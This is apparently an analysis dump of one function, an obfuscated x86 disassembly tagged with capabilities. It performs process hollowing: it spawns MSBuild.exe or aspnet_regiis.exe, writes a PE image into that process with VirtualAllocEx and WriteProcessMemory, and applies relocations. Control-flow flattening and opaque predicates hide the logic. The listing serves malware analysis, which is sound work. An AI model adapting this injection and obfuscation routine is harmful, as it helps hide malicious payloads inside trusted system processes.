Function at 0x10001f80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [0x10064000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x160], 0xe45ba9c
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
sub eax, 0x8010f429
je 0x10003590
jmp 0x10001fbc
mov eax, dword [ebp - 0x164]
sub eax, 0x81320a81
je 0x100047f7
jmp 0x10001fd2
mov eax, dword [ebp - 0x164]
sub eax, 0x82aa8640
je 0x10002f67
jmp 0x10001fe8
mov eax, dword [ebp - 0x164]
sub eax, 0x861acf31
je 0x10003799
jmp 0x10001ffe
mov eax, dword [ebp - 0x164]
sub eax, 0x87debfcb
je 0x10003c8f
jmp 0x10002014
mov eax, dword [ebp - 0x164]
sub eax, 0x881140f6
je 0x1000449e
jmp 0x1000202a
mov eax, dword [ebp - 0x164]
sub eax, 0x882ad43b
je 0x100031ff
jmp 0x10002040
mov eax, dword [ebp - 0x164]
sub eax, 0x8c0114d1
je 0x10003d70
jmp 0x10002056
mov eax, dword [ebp - 0x164]
sub eax, 0x8e25d523
je 0x10003f80
jmp 0x1000206c
mov eax, dword [ebp - 0x164]
sub eax, 0x90b5025c
je 0x10003754
jmp 0x10002082
mov eax, dword [ebp - 0x164]
sub eax, 0x970562b9
je 0x100042f2
jmp 0x10002098
mov eax, dword [ebp - 0x164]
sub eax, 0x9ae5b58e
je 0x10002a50
jmp 0x100020ae
mov eax, dword [ebp - 0x164]
sub eax, 0x9b4919cc
je 0x10003aaf
jmp 0x100020c4
mov eax, dword [ebp - 0x164]
sub eax, 0x9c2b926a
je 0x10002e3a
jmp 0x100020da
mov eax, dword [ebp - 0x164]
sub eax, 0xa0a7e5de
je 0x10003801
jmp 0x100020f0
mov eax, dword [ebp - 0x164]
sub eax, 0xa4073f2f
je 0x1000422b
jmp 0x10002106
mov eax, dword [ebp - 0x164]
sub eax, 0xa60e07fc
je 0x1000450c
jmp 0x1000211c
mov eax, dword [ebp - 0x164]
sub eax, 0xa73bc55b
je 0x100039e1
jmp 0x10002132
mov eax, dword [ebp - 0x164]
sub eax, 0xa74542ed
je 0x10003886
jmp 0x10002148
mov eax, dword [ebp - 0x164]
sub eax, 0xaa0ff2b9
je 0x100035c3
jmp 0x1000215e
mov eax, dword [ebp - 0x164]
sub eax, 0xb157aecf
je 0x10003281
jmp 0x10002174
mov eax, dword [ebp - 0x164]
sub eax, 0xb1a9c8e4
je 0x10003bbe
jmp 0x1000218a
mov eax, dword [ebp - 0x164]
sub eax, 0xb43c52f9
je 0x10003d7f
jmp 0x100021a0
mov eax, dword [ebp - 0x164]
sub eax, 0xb4a726eb
je 0x10004072
jmp 0x100021b6
mov eax, dword [ebp - 0x164]
sub eax, 0xb5b8eb0b
je 0x100031a9
jmp 0x100021cc
mov eax, dword [ebp - 0x164]
sub eax, 0xba73c862
je 0x10002a9b
jmp 0x100021e2
mov eax, dword [ebp - 0x164]
sub eax, 0xba886e2a
je 0x10003a50
jmp 0x100021f8
mov eax, dword [ebp - 0x164]
sub eax, 0xbbdc1078
je 0x10002eac
jmp 0x1000220e
mov eax, dword [ebp - 0x164]
sub eax, 0xbc02218b
je 0x10003af4
jmp 0x10002224
mov eax, dword [ebp - 0x164]
sub eax, 0xbc86e3b7
je 0x1000424f
jmp 0x1000223a
mov eax, dword [ebp - 0x164]
sub eax, 0xbe26f2c4
je 0x10002a83
jmp 0x10002250
mov eax, dword [ebp - 0x164]
sub eax, 0xc111cf47
je 0x10002f46
jmp 0x10002266
mov eax, dword [ebp - 0x164]
sub eax, 0xc11d6761
je 0x10003ce7
jmp 0x1000227c
mov eax, dword [ebp - 0x164]
sub eax, 0xc1b0bc11
je 0x10003487
jmp 0x10002292
mov eax, dword [ebp - 0x164]
sub eax, 0xc35d3743
je 0x10004533
jmp 0x100022a8
mov eax, dword [ebp - 0x164]
sub eax, 0xc74bd516
je 0x10003419
jmp 0x100022be
mov eax, dword [ebp - 0x164]
sub eax, 0xc86d679a
je 0x10002bce
jmp 0x100022d4
mov eax, dword [ebp - 0x164]
sub eax, 0xc961dedb
je 0x1000337c
jmp 0x100022ea
mov eax, dword [ebp - 0x164]
sub eax, 0xc9bbe984
je 0x10002c88
jmp 0x10002300
mov eax, dword [ebp - 0x164]
sub eax, 0xcb337ae6
je 0x10003998
jmp 0x10002316
mov eax, dword [ebp - 0x164]
sub eax, 0xcba01370
je 0x10003ee3
jmp 0x1000232c
mov eax, dword [ebp - 0x164]
sub eax, 0xcceafc1a
je 0x100036f0
jmp 0x10002342
mov eax, dword [ebp - 0x164]
sub eax, 0xcec34f45
je 0x10004815
jmp 0x10002358
mov eax, dword [ebp - 0x164]
sub eax, 0xcf4d3dd1
je 0x10003763
jmp 0x1000236e
mov eax, dword [ebp - 0x164]
sub eax, 0xd23fbee7
je 0x1000377e
jmp 0x10002384
mov eax, dword [ebp - 0x164]
sub eax, 0xd33a13bd
je 0x100045c1
jmp 0x1000239a
mov eax, dword [ebp - 0x164]
sub eax, 0xd736c116
je 0x10002c5b
jmp 0x100023b0
mov eax, dword [ebp - 0x164]
sub eax, 0xdb1012f3
je 0x10003ff6
jmp 0x100023c6
mov eax, dword [ebp - 0x164]
sub eax, 0xdeff8124
je 0x1000390c
jmp 0x100023dc
mov eax, dword [ebp - 0x164]
sub eax, 0xdf4db89d
je 0x100034a8
jmp 0x100023f2
mov eax, dword [ebp - 0x164]
sub eax, 0xe27f9f85
je 0x10004806
jmp 0x10002408
mov eax, dword [ebp - 0x164]
sub eax, 0xe32ce6cc
je 0x10003d30
jmp 0x1000241e
mov eax, dword [ebp - 0x164]
sub eax, 0xe4fc0170
je 0x10004548
jmp 0x10002434
mov eax, dword [ebp - 0x164]
sub eax, 0xe7b0bed3
je 0x10003088
jmp 0x1000244a
mov eax, dword [ebp - 0x164]
sub eax, 0xe9b25fc6
je 0x1000336d
jmp 0x10002460
mov eax, dword [ebp - 0x164]
sub eax, 0xea41b62c
je 0x100046e5
jmp 0x10002476
mov eax, dword [ebp - 0x164]
sub eax, 0xea7f9a23
je 0x10003a41
jmp 0x1000248c
mov eax, dword [ebp - 0x164]
sub eax, 0xecb61809
je 0x10004703
jmp 0x100024a2
mov eax, dword [ebp - 0x164]
sub eax, 0xeed22043
je 0x10004690
jmp 0x100024b8
mov eax, dword [ebp - 0x164]
sub eax, 0xf220b6f1
je 0x10003e6d
jmp 0x100024ce
mov eax, dword [ebp - 0x164]
sub eax, 0xf459034d
je 0x10003c0f
jmp 0x100024e4
mov eax, dword [ebp - 0x164]
sub eax, 0xf591be5d
je 0x10002d21
jmp 0x100024fa
mov eax, dword [ebp - 0x164]
sub eax, 0xfaa96d73
je 0x10003f71
jmp 0x10002510
mov eax, dword [ebp - 0x164]
sub eax, 0xfb771bc4
je 0x10003c9e
jmp 0x10002526
mov eax, dword [ebp - 0x164]
sub eax, 0xfca348c9
je 0x1000314e
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x100]
movzx edx, word [eax]
mov eax, 0x2a61a788
mov ecx, 0xbe26f2c4
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x160], 0xba73c862
jmp 0x1000481f
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xf0]
sub eax, 0x62b2aec7
add eax, ecx
add eax, 0x62b2aec7
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x160], 0x6f6e65d0
jmp 0x1000481f
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005800
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005800
add esp, 0xc
mov eax, dword [ebp - 0x108]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x160], 0x6a21941d
jmp 0x1000481f
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x110], eax
mov dl, byte [ebp - 0x109]
mov eax, 0xc9bbe984
mov ecx, 0x2e731029
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x160], 0x2f07bb6e
jmp 0x1000481f
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0xfe601ce
sub edx, 1
sub edx, 0xfe601ce
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc35d3743
mov ecx, 0x76fad8d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xd9], al
mov dword [ebp - 0x160], 0xbbdc1078
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe4fc0170
mov ecx, 0x6a80a6e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dl, byte [ebp - 0xd9]
mov eax, 0x4d8fe16a
mov ecx, 0x82aa8640
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f0f532e
mov ecx, 0x259fc2b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov eax, 0x882ad43b
mov ecx, 0x5d10ee04
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0xf462dea
jmp 0x1000481f
mov eax, dword [ebp - 0x108]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x100]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x108]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x108]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x160], 0xb157aecf
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0xadfab37a
sub edx, 1
sub edx, 0xadfab37a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd42bf3c
mov ecx, 0x24f573c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0xc961dedb
jmp 0x1000481f
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x160], 0x39d8708d
jmp 0x1000481f
mov eax, dword [ebp - 0xcc]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0xd0]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xc5], al
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0xf76678b5
sub edx, 1
sub edx, 0xf76678b5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37ebbedb
mov ecx, 0xc1b0bc11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dl, byte [ebp - 0xc5]
mov eax, 0xd23fbee7
mov ecx, 0xdf4db89d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x13c]
imul ecx, dword [ebp - 0x14c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x13c]
imul edx, dword [ebp - 0x14c], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0x8912c7c1
add eax, ecx
sub eax, 0x8912c7c1
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x13c]
imul edx, dword [ebp - 0x14c], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0x17b805e3
add eax, ecx
add eax, 0x17b805e3
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x160], 0x221237a1
jmp 0x1000481f
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x13c]
imul ecx, dword [ebp - 0x14c], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x160], 0xaa0ff2b9
jmp 0x1000481f
mov eax, dword [ebp - 0xb0]
mov esi, dword [eax]
mov eax, dword [ebp - 0x13c]
imul ecx, dword [ebp - 0x14c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
sub esi, 0x58d45fad
add esi, eax
add esi, 0x58d45fad
mov edx, dword [ebp - 0xb4]
mov eax, 0x7951c1ce
mov ecx, 0x6129011f
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x14c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xa0], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x554de41
mov ecx, 0x90b5025c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0xcf4d3dd1
jmp 0x1000481f
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x160], 0xc961dedb
jmp 0x1000481f
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x160], 0x861acf31
jmp 0x1000481f
mov edx, dword [ebp - 0x9c]
mov eax, 0x8e25d523
mov ecx, 0x1915a5f8
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0x7833fe98
jmp 0x1000481f
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x94], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5abdf89b
mov ecx, 0x66f12875
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x144]
add eax, 0xa750ac5a
add eax, 8
sub eax, 0xa750ac5a
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x144]
add eax, 4
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x160], 0x50974e17
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeed22043
mov ecx, 0xa73bc55b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x154]
setb al
and al, 1
mov byte [ebp - 0x8a], al
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeed22043
mov ecx, 0xea7f9a23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0xba886e2a
jmp 0x1000481f
mov dl, byte [ebp - 0x8a]
mov eax, 0xb43c52f9
mov ecx, 0x75e68df2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dl, byte [ebp - 0x89]
mov eax, 0x4a5180fa
mov ecx, 0x5dca13b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x84]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x150]
mov edx, dword [ebp - 0x15c]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xfb771bc4
mov ecx, 0x26a75c2
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x8c735e9f
sub edx, 1
sub edx, 0x8c735e9f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b472df
mov ecx, 0xf459034d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b472df
mov ecx, 0x87debfcb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0xfb771bc4
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea41b62c
mov ecx, 0xc11d6761
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea41b62c
mov ecx, 0xe32ce6cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0x4a5180fa
jmp 0x1000481f
mov dword [ebp - 0x160], 0xcb337ae6
jmp 0x1000481f
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x9d3069ad
sub edx, 1
add edx, 0x9d3069ad
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4565369
mov ecx, 0x710353d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0xf025a226
sub edx, 1
sub edx, 0xf025a226
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xecb61809
mov ecx, 0xcba01370
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x144], eax
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
sub edx, 0x1a69b7b0
sub edx, 1
add edx, 0x1a69b7b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xecb61809
mov ecx, 0x6d754cd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0x8e25d523
jmp 0x1000481f
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
mov edx, ecx
add edx, 0x39ea156c
sub edx, 1
sub edx, 0x39ea156c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x26e1df2c
mov ecx, 0xdb1012f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov eax, dword [ebp - 0x108]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax + 0xa4]
add eax, 0xf10492f1
add eax, 8
sub eax, 0xf10492f1
mov dword [ebp - 0x78], eax
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
sub edx, 0xd9ce00eb
sub edx, 1
add edx, 0xd9ce00eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26e1df2c
mov ecx, 0xb4a726eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov dword [ebp - 0x160], 0x42741c4f
jmp 0x1000481f
mov dword [ebp - 0x160], 0x4d8fe16a
jmp 0x1000481f
mov eax, dword [ebp - 0x74]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x160], 0x645e3323
jmp 0x1000481f
mov eax, dword [0x10065338]
mov ecx, dword [0x10065334]
mov edx, eax
add edx, 0x5ccd740a
sub edx, 1
sub edx, 0x5ccd740a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81320a81
mov ecx, 0x9a85a21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov ecx, dword [0x10065338]
mov eax, dword [0x10065334]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcec34f45
mov ecx, 0xa60e07fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000481f
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004c00
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x160], 0x76fad8d9
jmp 0x1000481f
mov dword [ebp - 0x160], 0x6a80a6e1
jmp 0x1000481f
mov dword [ebp - 0x160], 0xfca348c9
jmp 0x1000481f
mov dword [ebp - 0x160], 0xa73bc55b
jmp 0x1000481f
mov dword [ebp - 0x160], 0xc11d6761
jmp 0x1000481f
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x160], 0xcba01370
jmp 0x1000481f
mov dword [ebp - 0x160], 0x970562b9
jmp 0x1000481f
mov dword [ebp - 0x160], 0x1f1e357a
jmp 0x1000481f
mov dword [ebp - 0x160], 0x881140f6
jmp 0x10001fa0